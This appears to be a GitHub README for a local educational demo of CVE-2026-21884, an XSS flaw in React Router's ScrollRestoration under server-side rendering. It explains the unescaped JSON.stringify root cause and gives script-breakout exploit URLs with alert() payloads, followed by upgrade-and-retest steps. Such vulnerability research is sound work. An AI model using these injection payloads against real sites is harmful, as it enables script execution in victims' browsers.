Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

CVE-2026-21884 — React Router <ScrollRestoration> XSS Demo

Educational security research demo. Run locally only.

Vulnerability Summary

Field Detail
CVE CVE-2026-21884
Severity HIGH (XSS)
Package react-router-dom / react-router
Affected versions 7.0.0 – 7.12.0-pre.0
Fixed in 7.13.x+
Component <ScrollRestoration storageKey={...} getKey={...}>
Context Framework Mode SSR (Server-Side Rendering)

Root Cause

During SSR, ScrollRestoration embeds storageKey into an inline <script> tag using JSON.stringify(). Standard JSON.stringify() does not escape the </ sequence, so a storageKey containing </script> causes the HTML parser to close the script tag prematurely, allowing injection of arbitrary JavaScript.

Vulnerable source (react-router/dist/development/index.js):

// ScrollRestoration SSR render path
dangerouslySetInnerHTML: {
  __html: `(${restoreScroll})(${JSON.stringify(
    storageKey || SCROLL_RESTORATION_STORAGE_KEY   // ← NOT HTML-safe
  )}, ${JSON.stringify(ssrKey)})`
}

JSON.stringify("</script>")"</script>" (no escaping of </)

Resulting injected HTML:

<script>
  ((storageKey2, restoreKey) => { ... })("</script><script>alert('XSS')</script><script>", null)
</script>

The browser's HTML parser closes <script> at the first </script>, then evaluates alert('XSS').

Project Structure

.
├── server.mjs          # Express + Vite SSR server (the vulnerable endpoint)
├── index.html          # Info dashboard (/)
├── src/
│   ├── App.jsx         # React component with <ScrollRestoration storageKey={...}>
│   ├── entry-server.jsx # SSR render entry (uses createStaticRouter)
│   └── main.jsx        # Client hydration entry
├── vite.config.js
└── package.json        # react-router-dom pinned to 7.0.0 (vulnerable)

Setup & Run

npm install
npm run dev

Server starts at http://localhost:3000

Exploit Routes

Payload 1 — Script tag breakout (via storageKey)

http://localhost:3000/exploit?key=</script><script>alert('XSS: CVE-2026-21884')</script><script>

URL-encoded:

http://localhost:3000/exploit?key=%3C%2Fscript%3E%3Cscript%3Ealert%28%27XSS%3A+CVE-2026-21884%27%29%3C%2Fscript%3E%3Cscript%3E

Payload 2 — View source to see injected script in SSR HTML

http://localhost:3000/exploit?key=harmless-key

View page source → look for the <script> tag from ScrollRestoration.

Testing Remediation

After confirming the exploit works, upgrade to the patched version:

npm install react-router-dom@latest react-router@latest
npm run dev
# Replay the same exploit URLs — alert() should NOT fire

The fix applies proper HTML escaping (\u003c, \u003e, \u002f) to the JSON.stringify() output before embedding it in the inline script.

Affected Files (upstream)

  • packages/react-router/lib/dom/lib.tsxScrollRestoration() function

About

react_test_react_dom_vulnerabilities

Resources

Stars

0 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages